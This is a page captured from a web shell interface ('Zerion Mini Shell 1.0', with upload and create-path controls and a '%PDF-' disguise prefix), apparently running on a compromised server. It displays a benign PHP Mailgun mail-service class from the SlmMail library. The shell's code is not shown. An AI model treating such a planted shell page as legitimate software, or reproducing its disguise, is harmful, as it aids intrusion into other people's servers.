%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/bbw/farmaci/kritik-portale/vendor/slm/mail/src/SlmMail/Service/
Upload File :
Create Path :
Current File : /var/www/html/bbw/farmaci/kritik-portale/vendor/slm/mail/src/SlmMail/Service/MailgunService.php

<?php
/**
 * Copyright (c) 2012-2013 Jurian Sluiman.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 *   * Redistributions of source code must retain the above copyright
 *     notice, this list of conditions and the following disclaimer.
 *
 *   * Redistributions in binary form must reproduce the above copyright
 *     notice, this list of conditions and the following disclaimer in
 *     the documentation and/or other materials provided with the
 *     distribution.
 *
 *   * Neither the names of the copyright holders nor the names of the
 *     contributors may be used to endorse or promote products derived
 *     from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
 * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @author      Jurian Sluiman <jurian@juriansluiman.nl>
 * @copyright   2012-2013 Jurian Sluiman.
 * @license     http://www.opensource.org/licenses/bsd-license.php  BSD License
 * @link        http://juriansluiman.nl
 */

namespace SlmMail\Service;

use SlmMail\Mail\Message\Mailgun as MailgunMessage;
use Zend\Http\Client   as HttpClient;
use Zend\Http\Request  as HttpRequest;
use Zend\Http\Response as HttpResponse;
use Zend\Mail\Address;
use Zend\Mail\Message;

class MailgunService extends AbstractMailService
{
    /**
     * API endpoint
     */
    const API_ENDPOINT = 'https://api.mailgun.net/v2';

    /**
     * Mailgun domain to use
     *
     * @var string
     */
    protected $domain;

    /**
     * Mailgun API key
     *
     * @var string
     */
    protected $apiKey;

    /**
     * @param string $domain
     * @param string $apiKey
     */
    public function __construct($domain, $apiKey)
    {
        $this->domain = (string) $domain;
        $this->apiKey = (string) $apiKey;
    }

    /**
     * ------------------------------------------------------------------------------------------
     * MESSAGES
     * ------------------------------------------------------------------------------------------
     */

    /**
     * {@inheritDoc}
     * @link http://documentation.mailgun.com/api-sending.html
     * @return string id of message (if sent correctly)
     */
    public function send(Message $message)
    {
        $from = $message->getFrom();
        if (count($from) !== 1) {
            throw new Exception\RuntimeException(
                'Postage API requires exactly one from sender'
            );
        }

        $parameters = array(
            'from'    => $from->rewind()->toString(),
            'subject' => $message->getSubject(),
            'text'    => $this->extractText($message),
            'html'    => $this->extractHtml($message)
        );

        $to = array();
        foreach ($message->getTo() as $address) {
            $to[] = $address->toString();
        }

        $parameters['to'] = implode(',', $to);

        $cc = array();
        foreach ($message->getCc() as $address) {
            $cc[] = $address->toString();
        }

        $parameters['cc'] = implode(',', $cc);

        $bcc = array();
        foreach ($message->getBcc() as $address) {
            $bcc[] = $address->toString();
        }

        $parameters['bcc'] = implode(',', $bcc);

        $attachments = $this->extractAttachments($message);
        foreach ($attachments as $attachment) {
            $parameters['attachment'][] = $attachment->filename;
        }

        if ($message instanceof MailgunMessage) {
            $options = $message->getValidOptions();
            foreach ($message->getOptions() as $key => $value) {
                $parameters[$options[$key]] = $value;
            }

            $tags = $message->getTags();
            if (count($tags) > 0) {
                $parameters['o:tag'] = $tags;
            }

            $variables = $message->getRecipientVariables();
            if (count($variables)) {
                // It is only possible to add variables for recipients that exist in the To: field
                foreach ($variables as $recipient => $variable) {
                    if (!$message->getTo()->has($recipient)) {
                        throw new Exception\RuntimeException(sprintf(
                            'The email "%s" must be added as a receiver before you can add recipient variables',
                            $recipient
                        ));
                    }
                }

                $parameters['recipient-variables'] = json_encode($variables);
            }
        }

        $client = $this->prepareHttpClient('/messages', $parameters);

        // Eventually add files. This cannot be done before prepareHttpClient call because prepareHttpClient
        // reset all parameters (response, request...), therefore we would loose the file upload
        $attachments = $this->extractAttachments($message);
        foreach ($attachments as $attachment) {
            $client->setFileUpload(
                $attachment->filename,
                'attachment',
                $attachment->getRawContent(),
                $attachment->type
            );
        }
        $client->setEncType(HttpClient::ENC_FORMDATA);

        $response = $client->send();

        $result = $this->parseResponse($response);
        return $result['id'];
    }

    /**
     * Get log entries
     *
     * @link   http://documentation.mailgun.com/api-logs.html
     * @param  int $limit
     * @param  int $offset
     * @return array
     */
    public function getLogs($limit = 100, $offset = 0)
    {
        $parameters = array('limit' => $limit, 'skip' => $offset);

        $response = $this->prepareHttpClient('/log')
                         ->setMethod(HttpRequest::METHOD_GET)
                         ->setParameterGet($this->filterParameters($parameters))
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * ------------------------------------------------------------------------------------------
     * SPAM
     * ------------------------------------------------------------------------------------------
     */

    /**
     * Get spam complaints (this happens when recipients click "report spam")
     *
     * @link   http://documentation.mailgun.com/api-complaints.html
     * @param  int $limit
     * @param  int $offset
     * @return array
     */
    public function getSpamComplaints($limit = 100, $offset = 0)
    {
        $parameters = array('limit' => $limit, 'skip' => $offset);

        $response = $this->prepareHttpClient('/complaints')
                         ->setMethod(HttpRequest::METHOD_GET)
                         ->setParameterGet($this->filterParameters($parameters))
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * Get a single spam complaint by a given email address. This is useful to check if a particular
     * user has complained
     *
     * @link   http://documentation.mailgun.com/api-complaints.html
     * @param  string $address
     * @return array
     */
    public function getSpamComplaint($address)
    {
        $response = $this->prepareHttpClient('/complaints/' . $address)
                         ->setMethod(HttpRequest::METHOD_GET)
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * Add an address to the complaints table
     *
     * @link   http://documentation.mailgun.com/api-complaints.html
     * @param  string $address
     * @return array
     */
    public function addSpamComplaint($address)
    {
        $response = $this->prepareHttpClient('/complaints', array('address' => $address))
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * Delete an address to the complaints table
     *
     * @link   http://documentation.mailgun.com/api-complaints.html
     * @param  string $address
     * @return array
     */
    public function deleteSpamComplaint($address)
    {
        $response = $this->prepareHttpClient('/complaints/' . $address)
                         ->setMethod(HttpRequest::METHOD_DELETE)
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * ------------------------------------------------------------------------------------------
     * BOUNCES
     * ------------------------------------------------------------------------------------------
     */

    /**
     * Get bounces emails
     *
     * @link   http://documentation.mailgun.com/api-bounces.html
     * @param  int $limit
     * @param  int $offset
     * @return array
     */
    public function getBounces($limit = 100, $offset = 0)
    {
        $parameters = array('limit' => $limit, 'skip' => $offset);

        $response = $this->prepareHttpClient('/bounces')
                         ->setMethod(HttpRequest::METHOD_GET)
                         ->setParameterGet($this->filterParameters($parameters))
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * Get a single bounce event by a given email address
     *
     * @link   http://documentation.mailgun.com/api-bounces.html
     * @param  string $address
     * @return array
     */
    public function getBounce($address)
    {
        $response = $this->prepareHttpClient('/bounces/' . $address)
                         ->setMethod(HttpRequest::METHOD_GET)
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * Add a bounce
     *
     * @link   http://documentation.mailgun.com/api-bounces.html
     * @param  string $address
     * @param  int $code
     * @param  string $error
     * @return array
     */
    public function addBounce($address, $code = 550, $error = '')
    {
        $response = $this->prepareHttpClient('/bounces', compact('address', 'code', 'error'))
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * Delete a bounce
     *
     * @link   http://documentation.mailgun.com/api-bounces.html
     * @param  string $address
     * @return array
     */
    public function deleteBounce($address)
    {
        $response = $this->prepareHttpClient('/bounces/' . $address)
                         ->setMethod(HttpRequest::METHOD_DELETE)
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * ------------------------------------------------------------------------------------------
     * ROUTES
     * ------------------------------------------------------------------------------------------
     */

    /**
     * Add a new route (expression and action must be valid according to Mailgun syntax)
     *
     * @link http://documentation.mailgun.com/api-routes.html
     * @param  string       $description A description for the route
     * @param  string       $expression  A filter expression
     * @param  string|array $actions     A single or multiple actions
     * @param  int          $priority    Optional priority (smaller number indicates higher priority)
     * @return array
     */
    public function addRoute($description, $expression, $actions, $priority = 0)
    {
        $actions = (array) $actions;

        $parameters = array(
            'description' => $description,
            'expression'  => $expression,
            'action'      => array_reverse($actions), // For unknown reasons, Mailgun API saves
                                                      // routes in the opposite order as you specify
                                                      // them, hence the array_reverse
            'priority'    => $priority
        );

        $response = $this->prepareHttpClient('/routes', $parameters, false)
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * Delete an existing route
     *
     * @link @link http://documentation.mailgun.com/api-routes.html
     * @param  string $id
     * @return array
     */
    public function deleteRoute($id)
    {
        $response = $this->prepareHttpClient('/routes/' . $id, array(), false)
                         ->setMethod(HttpRequest::METHOD_DELETE)
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * Get all the routes
     *
     * @link http://documentation.mailgun.com/api-routes.html
     * @param  int $limit
     * @param  int $offset
     * @return array
     */
    public function getRoutes($limit = 100, $offset = 0)
    {
        $parameters = array('limit' => $limit, 'skip' => $offset);

        $response = $this->prepareHttpClient('/routes', array(), false)
                         ->setMethod(HttpRequest::METHOD_GET)
                         ->setParameterGet($this->filterParameters($parameters))
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * Get route details
     *
     * @link http://documentation.mailgun.com/api-routes.html
     * @param  string $id
     * @return array
     */
    public function getRoute($id)
    {
        $response = $this->prepareHttpClient('/routes/' . $id, array(), false)
                         ->setMethod(HttpRequest::METHOD_GET)
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * Update an existing route (expression and action must be valid according to Mailgun syntax)
     *
     * @link http://documentation.mailgun.com/api-routes.html
     * @param  string       $id          Identifier of the route
     * @param  string       $description A description for the route
     * @param  string       $expression  A filter expression
     * @param  string|array $actions     A single or multiple actions
     * @param  int          $priority    Optional priority (smaller number indicates higher priority)
     * @return array
     */
    public function updateRoute($id, $description = '', $expression = '', $actions = array(), $priority = 0)
    {
        $actions = (array) $actions;

        $parameters = array(
            'description' => $description,
            'expression'  => $expression,
            'action'      => array_reverse($actions), // For unknown reasons, Mailgun API saves
                                                      // routes in the opposite order as you specify
                                                      // them, hence the array_reverse
            'priority'    => $priority
        );

        $response = $this->prepareHttpClient('/routes/' . $id, $parameters, false)
                         ->setMethod(HttpRequest::METHOD_PUT)
                         ->send();

        return $this->parseResponse($response);
    }

    /**
     * @param string $uri
     * @param array  $parameters
     * @param bool   $perDomain
     * @return \Zend\Http\Client
     */
    private function prepareHttpClient($uri, array $parameters = array(), $perDomain = true)
    {
        $client = $this->getClient()->resetParameters();
        $client->getRequest()
               ->getHeaders()
               ->addHeaderLine('Authorization', 'Basic ' . base64_encode('api:' . $this->apiKey));

        if ($perDomain) {
            $client->setUri(self::API_ENDPOINT . '/' . $this->domain . $uri);
        } else {
            $client->setUri(self::API_ENDPOINT . $uri);
        }

        return $client->setMethod(HttpRequest::METHOD_POST)
                      ->setParameterPost($this->filterParameters($parameters));
    }

    /**
     * @param  HttpResponse $response
     * @throws Exception\InvalidCredentialsException
     * @throws Exception\ValidationErrorException
     * @throws Exception\RuntimeException
     * @return array
     */
    private function parseResponse(HttpResponse $response)
    {
        $result = json_decode($response->getBody(), true);

        if ($response->isSuccess()) {
            return $result;
        }

        switch ($response->getStatusCode()) {
            case 400:
                throw new Exception\ValidationErrorException(sprintf(
                    'An error occured on Mailgun, reason: %s', $response->getReasonPhrase()
                ));
            case 401:
                throw new Exception\InvalidCredentialsException('Authentication error: missing or incorrect Mailgun authorization');
            case 402:
                throw new Exception\RuntimeException(sprintf(
                    'An error occured on Mailgun, reason: %s', $response->getReasonPhrase()
                ));
            case 500:
            case 502:
            case 503:
            case 504:
                throw new Exception\RuntimeException('Mailgun server error, please try again');
            default:
                throw new Exception\RuntimeException('Unknown error during request to Mailgun server');
        }
    }
}

Zerion Mini Shell 1.0